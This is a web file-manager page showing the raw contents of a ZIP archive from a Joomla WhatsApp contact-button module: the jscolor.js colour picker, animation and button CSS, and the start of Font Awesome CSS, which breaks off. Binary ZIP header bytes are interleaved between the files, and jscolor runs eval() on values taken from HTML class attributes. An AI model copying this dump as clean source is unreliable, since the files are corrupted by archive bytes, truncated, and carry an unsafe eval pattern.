Файловый менеджер - Редактировать - /home/opticamezl/www/newok/assets.zip
Назад
PK ���\#�@�] �] jscolor.jsnu &1i� /*------------------------------------------------------------------------ # mod_jo_whatsapp_contact_button - JO WhatsApp Contact Button for Joomla 1.6, 1.7, 2.5 and 3.x module # ----------------------------------------------------------------------- # author: http://www.joomcore.com # copyright Copyright (C) 2011 Joomcore.com. All Rights Reserved. # @license - http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL # Websites: http://www.joomcore.com # Technical Support: Forum - http://www.joomcore.com/Support -------------------------------------------------------------------------*/ var jscolor = { dir : '', // location of jscolor directory (leave empty to autodetect) bindClass : 'color', // class name binding : true, // automatic binding via <input class="..."> preloading : true, // use image preloading? install : function() { jscolor.addEvent(window, 'load', jscolor.init); }, init : function() { if(jscolor.binding) { jscolor.bind(); } if(jscolor.preloading) { jscolor.preload(); } }, getDir : function() { if(!jscolor.dir) { var detected = jscolor.detectDir(); jscolor.dir = detected!==false ? detected : 'jscolor/'; } return jscolor.dir; }, detectDir : function() { var base = location.href; var e = document.getElementsByTagName('base'); for(var i=0; i<e.length; i+=1) { if(e[i].href) { base = e[i].href; } } var e = document.getElementsByTagName('script'); for(var i=0; i<e.length; i+=1) { if(e[i].src && /(^|\/)jscolor\.js([?#].*)?$/i.test(e[i].src)) { var src = new jscolor.URI(e[i].src); var srcAbs = src.toAbsolute(base); srcAbs.path = srcAbs.path.replace(/[^\/]+$/, ''); // remove filename srcAbs.query = null; srcAbs.fragment = null; return srcAbs.toString(); } } return false; }, bind : function() { var matchClass = new RegExp('(^|\\s)('+jscolor.bindClass+')\\s*(\\{[^}]*\\})?', 'i'); var e = document.getElementsByTagName('input'); for(var i=0; i<e.length; i+=1) { var m; if(!e[i].color && e[i].className && (m = e[i].className.match(matchClass))) { var prop = {}; if(m[3]) { try { eval('prop='+m[3]); } catch(eInvalidProp) {} } e[i].color = new jscolor.color(e[i], prop); } } }, preload : function() { for(var fn in jscolor.imgRequire) { if(jscolor.imgRequire.hasOwnProperty(fn)) { jscolor.loadImage(fn); } } }, images : { pad : [ 181, 101 ], sld : [ 16, 101 ], cross : [ 15, 15 ], arrow : [ 7, 11 ] }, imgRequire : {}, imgLoaded : {}, requireImage : function(filename) { jscolor.imgRequire[filename] = true; }, loadImage : function(filename) { if(!jscolor.imgLoaded[filename]) { jscolor.imgLoaded[filename] = new Image(); jscolor.imgLoaded[filename].src = jscolor.getDir()+filename; } }, fetchElement : function(mixed) { return typeof mixed === 'string' ? document.getElementById(mixed) : mixed; }, addEvent : function(el, evnt, func) { if(el.addEventListener) { el.addEventListener(evnt, func, false); } else if(el.attachEvent) { el.attachEvent('on'+evnt, func); } }, fireEvent : function(el, evnt) { if(!el) { return; } if(document.createEventObject) { var ev = document.createEventObject(); el.fireEvent('on'+evnt, ev); } else if(document.createEvent) { var ev = document.createEvent('HTMLEvents'); ev.initEvent(evnt, true, true); el.dispatchEvent(ev); } else if(el['on'+evnt]) { // alternatively use the traditional event model (IE5) el['on'+evnt](); } }, getElementPos : function(e) { var e1=e, e2=e; var x=0, y=0; if(e1.offsetParent) { do { x += e1.offsetLeft; y += e1.offsetTop; } while(e1 = e1.offsetParent); } while((e2 = e2.parentNode) && e2.nodeName.toUpperCase() !== 'BODY') { x -= e2.scrollLeft; y -= e2.scrollTop; } return [x, y]; }, getElementSize : function(e) { return [e.offsetWidth, e.offsetHeight]; }, getMousePos : function(e) { if(!e) { e = window.event; } if(typeof e.pageX === 'number') { return [e.pageX, e.pageY]; } else if(typeof e.clientX === 'number') { return [ e.clientX + document.body.scrollLeft + document.documentElement.scrollLeft, e.clientY + document.body.scrollTop + document.documentElement.scrollTop ]; } }, getViewPos : function() { if(typeof window.pageYOffset === 'number') { return [window.pageXOffset, window.pageYOffset]; } else if(document.body && (document.body.scrollLeft || document.body.scrollTop)) { return [document.body.scrollLeft, document.body.scrollTop]; } else if(document.documentElement && (document.documentElement.scrollLeft || document.documentElement.scrollTop)) { return [document.documentElement.scrollLeft, document.documentElement.scrollTop]; } else { return [0, 0]; } }, getViewSize : function() { if(typeof window.innerWidth === 'number') { return [window.innerWidth, window.innerHeight]; } else if(document.body && (document.body.clientWidth || document.body.clientHeight)) { return [document.body.clientWidth, document.body.clientHeight]; } else if(document.documentElement && (document.documentElement.clientWidth || document.documentElement.clientHeight)) { return [document.documentElement.clientWidth, document.documentElement.clientHeight]; } else { return [0, 0]; } }, URI : function(uri) { // See RFC3986 this.scheme = null; this.authority = null; this.path = ''; this.query = null; this.fragment = null; this.parse = function(uri) { var m = uri.match(/^(([A-Za-z][0-9A-Za-z+.-]*)(:))?((\/\/)([^\/?#]*))?([^?#]*)((\?)([^#]*))?((#)(.*))?/); this.scheme = m[3] ? m[2] : null; this.authority = m[5] ? m[6] : null; this.path = m[7]; this.query = m[9] ? m[10] : null; this.fragment = m[12] ? m[13] : null; return this; }; this.toString = function() { var result = ''; if(this.scheme !== null) { result = result + this.scheme + ':'; } if(this.authority !== null) { result = result + '//' + this.authority; } if(this.path !== null) { result = result + this.path; } if(this.query !== null) { result = result + '?' + this.query; } if(this.fragment !== null) { result = result + '#' + this.fragment; } return result; }; this.toAbsolute = function(base) { var base = new jscolor.URI(base); var r = this; var t = new jscolor.URI; if(base.scheme === null) { return false; } if(r.scheme !== null && r.scheme.toLowerCase() === base.scheme.toLowerCase()) { r.scheme = null; } if(r.scheme !== null) { t.scheme = r.scheme; t.authority = r.authority; t.path = removeDotSegments(r.path); t.query = r.query; } else { if(r.authority !== null) { t.authority = r.authority; t.path = removeDotSegments(r.path); t.query = r.query; } else { if(r.path === '') { // TODO: == or === ? t.path = base.path; if(r.query !== null) { t.query = r.query; } else { t.query = base.query; } } else { if(r.path.substr(0,1) === '/') { t.path = removeDotSegments(r.path); } else { if(base.authority !== null && base.path === '') { // TODO: == or === ? t.path = '/'+r.path; } else { t.path = base.path.replace(/[^\/]+$/,'')+r.path; } t.path = removeDotSegments(t.path); } t.query = r.query; } t.authority = base.authority; } t.scheme = base.scheme; } t.fragment = r.fragment; return t; }; function removeDotSegments(path) { var out = ''; while(path) { if(path.substr(0,3)==='../' || path.substr(0,2)==='./') { path = path.replace(/^\.+/,'').substr(1); } else if(path.substr(0,3)==='/./' || path==='/.') { path = '/'+path.substr(3); } else if(path.substr(0,4)==='/../' || path==='/..') { path = '/'+path.substr(4); out = out.replace(/\/?[^\/]*$/, ''); } else if(path==='.' || path==='..') { path = ''; } else { var rm = path.match(/^\/?[^\/]*/)[0]; path = path.substr(rm.length); out = out + rm; } } return out; } if(uri) { this.parse(uri); } }, /* * Usage example: * var myColor = new jscolor.color(myInputElement) */ color : function(target, prop) { this.required = true; // refuse empty values? this.adjust = true; // adjust value to uniform notation? this.hash = false; // prefix color with # symbol? this.caps = true; // uppercase? this.valueElement = target; // value holder this.styleElement = target; // where to reflect current color this.hsv = [0, 0, 1]; // read-only 0-6, 0-1, 0-1 this.rgb = [1, 1, 1]; // read-only 0-1, 0-1, 0-1 this.pickerOnfocus = true; // display picker on focus? this.pickerMode = 'HSV'; // HSV | HVS this.pickerPosition = 'bottom'; // left | right | top | bottom this.pickerFace = 10; // px this.pickerFaceColor = 'ThreeDFace'; // CSS color this.pickerBorder = 1; // px this.pickerBorderColor = 'ThreeDHighlight ThreeDShadow ThreeDShadow ThreeDHighlight'; // CSS color this.pickerInset = 1; // px this.pickerInsetColor = 'ThreeDShadow ThreeDHighlight ThreeDHighlight ThreeDShadow'; // CSS color this.pickerZIndex = 10000; for(var p in prop) { if(prop.hasOwnProperty(p)) { this[p] = prop[p]; } } this.hidePicker = function() { if(isPickerOwner()) { removePicker(); } }; this.showPicker = function() { if(!isPickerOwner()) { var tp = jscolor.getElementPos(target); // target pos var ts = jscolor.getElementSize(target); // target size var vp = jscolor.getViewPos(); // view pos var vs = jscolor.getViewSize(); // view size var ps = [ // picker size 2*this.pickerBorder + 4*this.pickerInset + 2*this.pickerFace + jscolor.images.pad[0] + 2*jscolor.images.arrow[0] + jscolor.images.sld[0], 2*this.pickerBorder + 2*this.pickerInset + 2*this.pickerFace + jscolor.images.pad[1] ]; var a, b, c; switch(this.pickerPosition.toLowerCase()) { case 'left': a=1; b=0; c=-1; break; case 'right':a=1; b=0; c=1; break; case 'top': a=0; b=1; c=-1; break; default: a=0; b=1; c=1; break; } var l = (ts[b]+ps[b])/2; var pp = [ // picker pos -vp[a]+tp[a]+ps[a] > vs[a] ? (-vp[a]+tp[a]+ts[a]/2 > vs[a]/2 && tp[a]+ts[a]-ps[a] >= 0 ? tp[a]+ts[a]-ps[a] : tp[a]) : tp[a], -vp[b]+tp[b]+ts[b]+ps[b]-l+l*c > vs[b] ? (-vp[b]+tp[b]+ts[b]/2 > vs[b]/2 && tp[b]+ts[b]-l-l*c >= 0 ? tp[b]+ts[b]-l-l*c : tp[b]+ts[b]-l+l*c) : (tp[b]+ts[b]-l+l*c >= 0 ? tp[b]+ts[b]-l+l*c : tp[b]+ts[b]-l-l*c) ]; drawPicker(pp[a], pp[b]); } }; this.importColor = function() { if(!valueElement) { this.exportColor(); } else { if(!this.adjust) { if(!this.fromString(valueElement.value, leaveValue)) { styleElement.style.backgroundColor = styleElement.jscStyle.backgroundColor; styleElement.style.color = styleElement.jscStyle.color; this.exportColor(leaveValue | leaveStyle); } } else if(!this.required && /^\s*$/.test(valueElement.value)) { valueElement.value = ''; styleElement.style.backgroundColor = styleElement.jscStyle.backgroundColor; styleElement.style.color = styleElement.jscStyle.color; this.exportColor(leaveValue | leaveStyle); } else if(this.fromString(valueElement.value)) { // OK } else { this.exportColor(); } } }; this.exportColor = function(flags) { if(!(flags & leaveValue) && valueElement) { var value = this.toString(); if(this.caps) { value = value.toUpperCase(); } if(this.hash) { value = '#'+value; } valueElement.value = value; } if(!(flags & leaveStyle) && styleElement) { styleElement.style.backgroundColor = '#'+this.toString(); styleElement.style.color = 0.213 * this.rgb[0] + 0.715 * this.rgb[1] + 0.072 * this.rgb[2] < 0.5 ? '#FFF' : '#000'; } if(!(flags & leavePad) && isPickerOwner()) { redrawPad(); } if(!(flags & leaveSld) && isPickerOwner()) { redrawSld(); } }; this.fromHSV = function(h, s, v, flags) { // null = don't change h<0 && (h=0) || h>6 && (h=6); s<0 && (s=0) || s>1 && (s=1); v<0 && (v=0) || v>1 && (v=1); this.rgb = HSV_RGB( h===null ? this.hsv[0] : (this.hsv[0]=h), s===null ? this.hsv[1] : (this.hsv[1]=s), v===null ? this.hsv[2] : (this.hsv[2]=v) ); this.exportColor(flags); }; this.fromRGB = function(r, g, b, flags) { // null = don't change r<0 && (r=0) || r>1 && (r=1); g<0 && (g=0) || g>1 && (g=1); b<0 && (b=0) || b>1 && (b=1); var hsv = RGB_HSV( r===null ? this.rgb[0] : (this.rgb[0]=r), g===null ? this.rgb[1] : (this.rgb[1]=g), b===null ? this.rgb[2] : (this.rgb[2]=b) ); if(hsv[0] !== null) { this.hsv[0] = hsv[0]; } if(hsv[2] !== 0) { this.hsv[1] = hsv[1]; } this.hsv[2] = hsv[2]; this.exportColor(flags); }; this.fromString = function(hex, flags) { var m = hex.match(/^\W*([0-9A-F]{3}([0-9A-F]{3})?)\W*$/i); if(!m) { return false; } else { if(m[1].length === 6) { // 6-char notation this.fromRGB( parseInt(m[1].substr(0,2),16) / 255, parseInt(m[1].substr(2,2),16) / 255, parseInt(m[1].substr(4,2),16) / 255, flags ); } else { // 3-char notation this.fromRGB( parseInt(m[1].charAt(0)+m[1].charAt(0),16) / 255, parseInt(m[1].charAt(1)+m[1].charAt(1),16) / 255, parseInt(m[1].charAt(2)+m[1].charAt(2),16) / 255, flags ); } return true; } }; this.toString = function() { return ( (0x100 | Math.round(255*this.rgb[0])).toString(16).substr(1) + (0x100 | Math.round(255*this.rgb[1])).toString(16).substr(1) + (0x100 | Math.round(255*this.rgb[2])).toString(16).substr(1) ); }; function RGB_HSV(r, g, b) { var n = Math.min(Math.min(r,g),b); var v = Math.max(Math.max(r,g),b); var m = v - n; if(m === 0) { return [ null, 0, v ]; } var h = r===n ? 3+(b-g)/m : (g===n ? 5+(r-b)/m : 1+(g-r)/m); return [ h===6?0:h, m/v, v ]; } function HSV_RGB(h, s, v) { if(h === null) { return [ v, v, v ]; } var i = Math.floor(h); var f = i%2 ? h-i : 1-(h-i); var m = v * (1 - s); var n = v * (1 - s*f); switch(i) { case 6: case 0: return [v,n,m]; case 1: return [n,v,m]; case 2: return [m,v,n]; case 3: return [m,n,v]; case 4: return [n,m,v]; case 5: return [v,m,n]; } } function removePicker() { delete jscolor.picker.owner; document.getElementsByTagName('body')[0].removeChild(jscolor.picker.boxB); } function drawPicker(x, y) { if(!jscolor.picker) { jscolor.picker = { box : document.createElement('div'), boxB : document.createElement('div'), pad : document.createElement('div'), padB : document.createElement('div'), padM : document.createElement('div'), sld : document.createElement('div'), sldB : document.createElement('div'), sldM : document.createElement('div') }; for(var i=0,segSize=4; i<jscolor.images.sld[1]; i+=segSize) { var seg = document.createElement('div'); seg.style.height = segSize+'px'; seg.style.fontSize = '1px'; seg.style.lineHeight = '0'; jscolor.picker.sld.appendChild(seg); } jscolor.picker.sldB.appendChild(jscolor.picker.sld); jscolor.picker.box.appendChild(jscolor.picker.sldB); jscolor.picker.box.appendChild(jscolor.picker.sldM); jscolor.picker.padB.appendChild(jscolor.picker.pad); jscolor.picker.box.appendChild(jscolor.picker.padB); jscolor.picker.box.appendChild(jscolor.picker.padM); jscolor.picker.boxB.appendChild(jscolor.picker.box); } var p = jscolor.picker; // recompute controls positions posPad = [ x+THIS.pickerBorder+THIS.pickerFace+THIS.pickerInset, y+THIS.pickerBorder+THIS.pickerFace+THIS.pickerInset ]; posSld = [ null, y+THIS.pickerBorder+THIS.pickerFace+THIS.pickerInset ]; // controls interaction p.box.onmouseup = p.box.onmouseout = function() { target.focus(); }; p.box.onmousedown = function() { abortBlur=true; }; p.box.onmousemove = function(e) { holdPad && setPad(e); holdSld && setSld(e); }; p.padM.onmouseup = p.padM.onmouseout = function() { if(holdPad) { holdPad=false; jscolor.fireEvent(valueElement,'change'); } }; p.padM.onmousedown = function(e) { holdPad=true; setPad(e); }; p.sldM.onmouseup = p.sldM.onmouseout = function() { if(holdSld) { holdSld=false; jscolor.fireEvent(valueElement,'change'); } }; p.sldM.onmousedown = function(e) { holdSld=true; setSld(e); }; // picker p.box.style.width = 4*THIS.pickerInset + 2*THIS.pickerFace + jscolor.images.pad[0] + 2*jscolor.images.arrow[0] + jscolor.images.sld[0] + 'px'; p.box.style.height = 2*THIS.pickerInset + 2*THIS.pickerFace + jscolor.images.pad[1] + 'px'; // picker border p.boxB.style.position = 'absolute'; p.boxB.style.clear = 'both'; p.boxB.style.left = x+'px'; p.boxB.style.top = y+'px'; p.boxB.style.zIndex = THIS.pickerZIndex; p.boxB.style.border = THIS.pickerBorder+'px solid'; p.boxB.style.borderColor = THIS.pickerBorderColor; p.boxB.style.background = THIS.pickerFaceColor; // pad image p.pad.style.width = jscolor.images.pad[0]+'px'; p.pad.style.height = jscolor.images.pad[1]+'px'; // pad border p.padB.style.position = 'absolute'; p.padB.style.left = THIS.pickerFace+'px'; p.padB.style.top = THIS.pickerFace+'px'; p.padB.style.border = THIS.pickerInset+'px solid'; p.padB.style.borderColor = THIS.pickerInsetColor; // pad mouse area p.padM.style.position = 'absolute'; p.padM.style.left = '0'; p.padM.style.top = '0'; p.padM.style.width = THIS.pickerFace + 2*THIS.pickerInset + jscolor.images.pad[0] + jscolor.images.arrow[0] + 'px'; p.padM.style.height = p.box.style.height; p.padM.style.cursor = 'crosshair'; // slider image p.sld.style.overflow = 'hidden'; p.sld.style.width = jscolor.images.sld[0]+'px'; p.sld.style.height = jscolor.images.sld[1]+'px'; // slider border p.sldB.style.position = 'absolute'; p.sldB.style.right = THIS.pickerFace+'px'; p.sldB.style.top = THIS.pickerFace+'px'; p.sldB.style.border = THIS.pickerInset+'px solid'; p.sldB.style.borderColor = THIS.pickerInsetColor; // slider mouse area p.sldM.style.position = 'absolute'; p.sldM.style.right = '0'; p.sldM.style.top = '0'; p.sldM.style.width = jscolor.images.sld[0] + jscolor.images.arrow[0] + THIS.pickerFace + 2*THIS.pickerInset + 'px'; p.sldM.style.height = p.box.style.height; try { p.sldM.style.cursor = 'pointer'; } catch(eOldIE) { p.sldM.style.cursor = 'hand'; } // load images in optimal order switch(modeID) { case 0: var padImg = '../images/hs.png'; break; case 1: var padImg = '../images/hv.png'; break; } p.padM.style.background = "url('"+jscolor.getDir()+"../images/cross.gif') no-repeat"; p.sldM.style.background = "url('"+jscolor.getDir()+"../images/arrow.gif') no-repeat"; p.pad.style.background = "url('"+jscolor.getDir()+padImg+"') 0 0 no-repeat"; // place pointers redrawPad(); redrawSld(); jscolor.picker.owner = THIS; document.getElementsByTagName('body')[0].appendChild(p.boxB); } function redrawPad() { // redraw the pad pointer switch(modeID) { case 0: var yComponent = 1; break; case 1: var yComponent = 2; break; } var x = Math.round((THIS.hsv[0]/6) * (jscolor.images.pad[0]-1)); var y = Math.round((1-THIS.hsv[yComponent]) * (jscolor.images.pad[1]-1)); jscolor.picker.padM.style.backgroundPosition = (THIS.pickerFace+THIS.pickerInset+x - Math.floor(jscolor.images.cross[0]/2)) + 'px ' + (THIS.pickerFace+THIS.pickerInset+y - Math.floor(jscolor.images.cross[1]/2)) + 'px'; // redraw the slider image var seg = jscolor.picker.sld.childNodes; switch(modeID) { case 0: var rgb = HSV_RGB(THIS.hsv[0], THIS.hsv[1], 1); for(var i=0; i<seg.length; i+=1) { seg[i].style.backgroundColor = 'rgb('+ (rgb[0]*(1-i/seg.length)*100)+'%,'+ (rgb[1]*(1-i/seg.length)*100)+'%,'+ (rgb[2]*(1-i/seg.length)*100)+'%)'; } break; case 1: var rgb, s, c = [ THIS.hsv[2], 0, 0 ]; var i = Math.floor(THIS.hsv[0]); var f = i%2 ? THIS.hsv[0]-i : 1-(THIS.hsv[0]-i); switch(i) { case 6: case 0: rgb=[0,1,2]; break; case 1: rgb=[1,0,2]; break; case 2: rgb=[2,0,1]; break; case 3: rgb=[2,1,0]; break; case 4: rgb=[1,2,0]; break; case 5: rgb=[0,2,1]; break; } for(var i=0; i<seg.length; i+=1) { s = 1 - 1/(seg.length-1)*i; c[1] = c[0] * (1 - s*f); c[2] = c[0] * (1 - s); seg[i].style.backgroundColor = 'rgb('+ (c[rgb[0]]*100)+'%,'+ (c[rgb[1]]*100)+'%,'+ (c[rgb[2]]*100)+'%)'; } break; } } function redrawSld() { // redraw the slider pointer switch(modeID) { case 0: var yComponent = 2; break; case 1: var yComponent = 1; break; } var y = Math.round((1-THIS.hsv[yComponent]) * (jscolor.images.sld[1]-1)); jscolor.picker.sldM.style.backgroundPosition = '0 ' + (THIS.pickerFace+THIS.pickerInset+y - Math.floor(jscolor.images.arrow[1]/2)) + 'px'; } function isPickerOwner() { return jscolor.picker && jscolor.picker.owner === THIS; } function blurTarget() { if(valueElement === target) { THIS.importColor(); } if(THIS.pickerOnfocus) { THIS.hidePicker(); } } function blurValue() { if(valueElement !== target) { THIS.importColor(); } } function setPad(e) { var posM = jscolor.getMousePos(e); var x = posM[0]-posPad[0]; var y = posM[1]-posPad[1]; switch(modeID) { case 0: THIS.fromHSV(x*(6/(jscolor.images.pad[0]-1)), 1 - y/(jscolor.images.pad[1]-1), null, leaveSld); break; case 1: THIS.fromHSV(x*(6/(jscolor.images.pad[0]-1)), null, 1 - y/(jscolor.images.pad[1]-1), leaveSld); break; } } function setSld(e) { var posM = jscolor.getMousePos(e); var y = posM[1]-posPad[1]; switch(modeID) { case 0: THIS.fromHSV(null, null, 1 - y/(jscolor.images.sld[1]-1), leavePad); break; case 1: THIS.fromHSV(null, 1 - y/(jscolor.images.sld[1]-1), null, leavePad); break; } } var THIS = this; var modeID = this.pickerMode.toLowerCase()==='hvs' ? 1 : 0; var abortBlur = false; var valueElement = jscolor.fetchElement(this.valueElement), styleElement = jscolor.fetchElement(this.styleElement); var holdPad = false, holdSld = false; var posPad, posSld; var leaveValue = 1<<0, leaveStyle = 1<<1, leavePad = 1<<2, leaveSld = 1<<3; // target jscolor.addEvent(target, 'focus', function() { if(THIS.pickerOnfocus) { THIS.showPicker(); } }); jscolor.addEvent(target, 'blur', function() { if(!abortBlur) { window.setTimeout(function(){ abortBlur || blurTarget(); abortBlur=false; }, 0); } else { abortBlur = false; } }); // valueElement if(valueElement) { var updateField = function() { THIS.fromString(valueElement.value, leaveValue); }; jscolor.addEvent(valueElement, 'keyup', updateField); jscolor.addEvent(valueElement, 'input', updateField); jscolor.addEvent(valueElement, 'blur', blurValue); valueElement.setAttribute('autocomplete', 'off'); } // styleElement if(styleElement) { styleElement.jscStyle = { backgroundColor : styleElement.style.backgroundColor, color : styleElement.style.color }; } // require images switch(modeID) { case 0: jscolor.requireImage('../images/hs.png'); break; case 1: jscolor.requireImage('../images/hv.png'); break; } jscolor.requireImage('../images/cross.gif'); jscolor.requireImage('../images/arrow.gif'); this.importColor(); } }; jscolor.install(); PK ���\�6� index.htmlnu &1i� <!DOCTYPE html><title></title>PK ���\}?xp p ak86_animate.cssnu &1i� /* # mod_jo_whatsapp_contact_button - JO WhatsApp Contact Button for Joomla 1.6, 1.7, 2.5 and 3.x module */ /*Rotate*/ @-webkit-keyframes rotate { 20% {-webkit-transform: rotate3d(0, 0, 1, 15deg);} 40% {-webkit-transform: rotate3d(0, 0, 1, -10deg);} 60% {-webkit-transform: rotate3d(0, 0, 1, 5deg);} 80% {-webkit-transform: rotate3d(0, 0, 1, -5deg);} 100% {-webkit-transform: rotate3d(0, 0, 1, 0deg);} } @-moz-keyframes rotate { 20% {-moz-transform: rotate3d(0, 0, 1, 15deg);} 40% {-moz-transform: rotate3d(0, 0, 1, -10deg);} 60% {-moz-transform: rotate3d(0, 0, 1, 5deg);} 80% {-moz-transform: rotate3d(0, 0, 1, -5deg);} 100% {-moz-transform: rotate3d(0, 0, 1, 0deg);} } @-o-keyframes rotate { 20% {-o-transform: rotate3d(0, 0, 1, 15deg);} 40% {-o-transform: rotate3d(0, 0, 1, -10deg);} 60% {-o-transform: rotate3d(0, 0, 1, 5deg);} 80% {-o-transform: rotate3d(0, 0, 1, -5deg);} 100% {-o-transform: rotate3d(0, 0, 1, 0deg);} } @keyframes rotate { 20% {transform: rotate3d(0, 0, 1, 15deg);} 40% {transform: rotate3d(0, 0, 1, -10deg);} 60% {transform: rotate3d(0, 0, 1, 5deg);} 80% {transform: rotate3d(0, 0, 1, -5deg);} 100% {transform: rotate3d(0, 0, 1, 0deg);} } .ak86_rotate:hover{ -webkit-animation-duration: 1s; -moz-animation-duration: 1s; -o-animation-duration: 1s; animation-duration: 1s; -webkit-transform-origin: center center; -moz-transform-origin: center center; -o-transform-origin: center center; transform-origin: center center; -webkit-animation-name: rotate; -moz-animation-name: rotate; -o-animation-name: rotate; animation-name: rotate; } /*Tada*/ @-webkit-keyframes tada { 0% {-webkit-transform:scale(1)} 10%, 20% {-webkit-transform:scale(0.9) rotate(-3deg)} 30%, 50%, 70%, 90% {-webkit-transform:scale(1.1) rotate(3deg)} 40%, 60%, 80% {-webkit-transform:scale(1.1) rotate(-3deg)} 100% {-webkit-transform:scale(1) rotate(0)} } @-moz-keyframes tada { 0% {-moz-transform:scale(1)} 10%,20% {-moz-transform:scale(0.9) rotate(-3deg)} 30%, 50%, 70%, 90% {-moz-transform:scale(1.1) rotate(3deg)} 40%, 60%, 80% {-moz-transform:scale(1.1) rotate(-3deg)} 100% {-moz-transform:scale(1) rotate(0)} } @-o-keyframes tada { 0% {-o-transform:scale(1)} 10%,20% {-o-transform:scale(0.9) rotate(-3deg)} 30%, 50%, 70%, 90% {-o-transform:scale(1.1) rotate(3deg)} 40%, 60%, 80% {-o-transform:scale(1.1) rotate(-3deg)} 100% {-o-transform:scale(1) rotate(0)} } @keyframes tada { 0% {transform:scale(1)} 10%, 20% {transform:scale(0.9) rotate(-3deg)} 30%, 50%, 70%, 90% {transform:scale(1.1) rotate(3deg)} 40%, 60%, 80% {transform:scale(1.1) rotate(-3deg)} 100% {transform:scale(1) rotate(0)} } .ak86_tada{ -webkit-animation-duration: 1s; -moz-animation-duration: 1s; -o-animation-duration: 1s; animation-duration: 1s; -webkit-animation-timing-function: ease; -moz-animation-timing-function: ease; -o-animation-timing-function: ease; animation-timing-function: ease; } .ak86_tada:hover{ -webkit-animation-name: tada; -moz-animation-name: tada; -o-animation-name: tada; animation-name: tada; } /*Swing*/ @-webkit-keyframes swing{ 15%{-webkit-transform: translateX(5px);transform: translateX(5px);} 30%{-webkit-transform: translateX(-5px);transform: translateX(-5px);} 50%{-webkit-transform: translateX(3px);transform: translateX(3px);} 65%{-webkit-transform: translateX(-3px);transform: translateX(-3px);} 80%{-webkit-transform: translateX(2px);transform: translateX(2px);} 100%{-webkit-transform: translateX(0);transform: translateX(0);} } @keyframes swing{ 15%{-webkit-transform: translateX(5px);transform: translateX(5px);} 30%{-webkit-transform: translateX(-5px);transform: translateX(-5px);} 50%{-webkit-transform: translateX(3px);transform: translateX(3px);} 65%{-webkit-transform: translateX(-3px);transform: translateX(-3px);} 80%{-webkit-transform: translateX(2px);transform: translateX(2px);} 100%{-webkit-transform: translateX(0);transform: translateX(0);} } .ak86_swing:hover{ -webkit-animation: swing 1s ease; animation: swing 1s ease; -webkit-animation-iteration-count: 1; animation-iteration-count: 1; } /*Grow*/ .ak86_grow{ transition:all 0.8s ease!important; } .ak86_grow:hover{ -webkit-transform: scale(1.2); -ms-transform: scale(1.2); transform: scale(1.2); } /*Shrink*/ .ak86_shrink{ transition:all 0.8s ease!important; } .ak86_shrink:hover{ -webkit-transform: scale(0.8); -ms-transform: scale(0.8); transform: scale(0.8); }PK ���\N���� � style.cssnu &1i� /* # mod_jo_whatsapp_contact_button - JO WhatsApp Contact Button for Joomla 1.6, 1.7, 2.5 and 3.x module */ /*button css*/ .wcf2w_button{ border-radius: 50px!important; text-align: center!important; padding: 0px!important; outline:none!important; text-decoration: none!important; border:none!important; box-shadow: none!important; position: fixed; width: 60px; height: 60px; margin:0px!important; line-height: normal!important; opacity: 0.9; z-index: 99999999!important; } .wcf2w_button:hover{ color: #ffffff!important; text-decoration: none!important; outline:none!important; border:none!important; box-shadow: none!important; opacity: 1; } .wcf2w_button:focus{ color: #ffffff!important; text-decoration: none!important; outline:none!important; border:none!important; box-shadow: none!important; } .wcf2w_button:link{ color: #ffffff!important; text-decoration: none!important; outline:none!important; border:none!important; box-shadow: none!important; } .wcf2w_button i{ font-size: 40px!important; margin-top: 10px; }PK ���\�ʼ&� &� font-awesome.cssnu &1i� /*! * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) */ /* FONT PATH * -------------------------- */ @font-face { font-family: 'FontAwesome'; src: url('../fonts/fontawesome-webfont.eot?v=4.7.0'); src: url('../fonts/fontawesome-webfont.eot?#iefix&v=4.7.0') format('embedded-opentype'), url('../fonts/fontawesome-webfont.woff2?v=4.7.0') format('woff2'), url('../fonts/fontawesome-webfont.woff?v=4.7.0') format('woff'), url('../fonts/fontawesome-webfont.ttf?v=4.7.0') format('truetype'), url('../fonts/fontawesome-webfont.svg?v=4.7.0#fontawesomeregular') format('svg'); font-weight: normal; font-style: normal; } .fa { display: inline-block; font: normal normal normal 14px/1 FontAwesome; font-size: inherit; text-rendering: auto; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* makes the font 33% larger relative to the icon container */ .fa-lg { font-size: 1.33333333em; line-height: 0.75em; vertical-align: -15%; } .fa-2x { font-size: 2em; } .fa-3x { font-size: 3em; } .fa-4x { font-size: 4em; } .fa-5x { font-size: 5em; } .fa-fw { width: 1.28571429em; text-align: center; } .fa-ul { padding-left: 0; margin-left: 2.14285714em; list-style-type: none; } .fa-ul > li { position: relative; } .fa-li { position: absolute; left: -2.14285714em; width: 2.14285714em; top: 0.14285714em; text-align: center; } .fa-li.fa-lg { left: -1.85714286em; } .fa-border { padding: .2em .25em .15em; border: solid 0.08em #eeeeee; border-radius: .1em; } .fa-pull-left { float: left; } .fa-pull-right { float: right; } .fa.fa-pull-left { margin-right: .3em; } .fa.fa-pull-right { margin-left: .3em; } /* Deprecated as of 4.4.0 */ .pull-right { float: right; } .pull-left { float: left; } .fa.pull-left { margin-right: .3em; } .fa.pull-right { margin-left: .3em; } .fa-spin { -webkit-animation: fa-spin 2s infinite linear; animation: fa-spin 2s infinite linear; } .fa-pulse { -webkit-animation: fa-spin 1s infinite steps(8); animation: fa-spin 1s infinite steps(8); } @-webkit-keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } @keyframes fa-spin { 0% { -webkit-transform: rotate(0deg); transform: rotate(0deg); } 100% { -webkit-transform: rotate(359deg); transform: rotate(359deg); } } .fa-rotate-90 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=1)"; -webkit-transform: rotate(90deg); -ms-transform: rotate(90deg); transform: rotate(90deg); } .fa-rotate-180 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=2)"; -webkit-transform: rotate(180deg); -ms-transform: rotate(180deg); transform: rotate(180deg); } .fa-rotate-270 { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=3)"; -webkit-transform: rotate(270deg); -ms-transform: rotate(270deg); transform: rotate(270deg); } .fa-flip-horizontal { -ms-filter: "progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)"; -webkit-transform: scale(-1, 1); -ms-transform: scale(-1, 1); transform: scale(-1, 1); } .fa-flip-vertical { 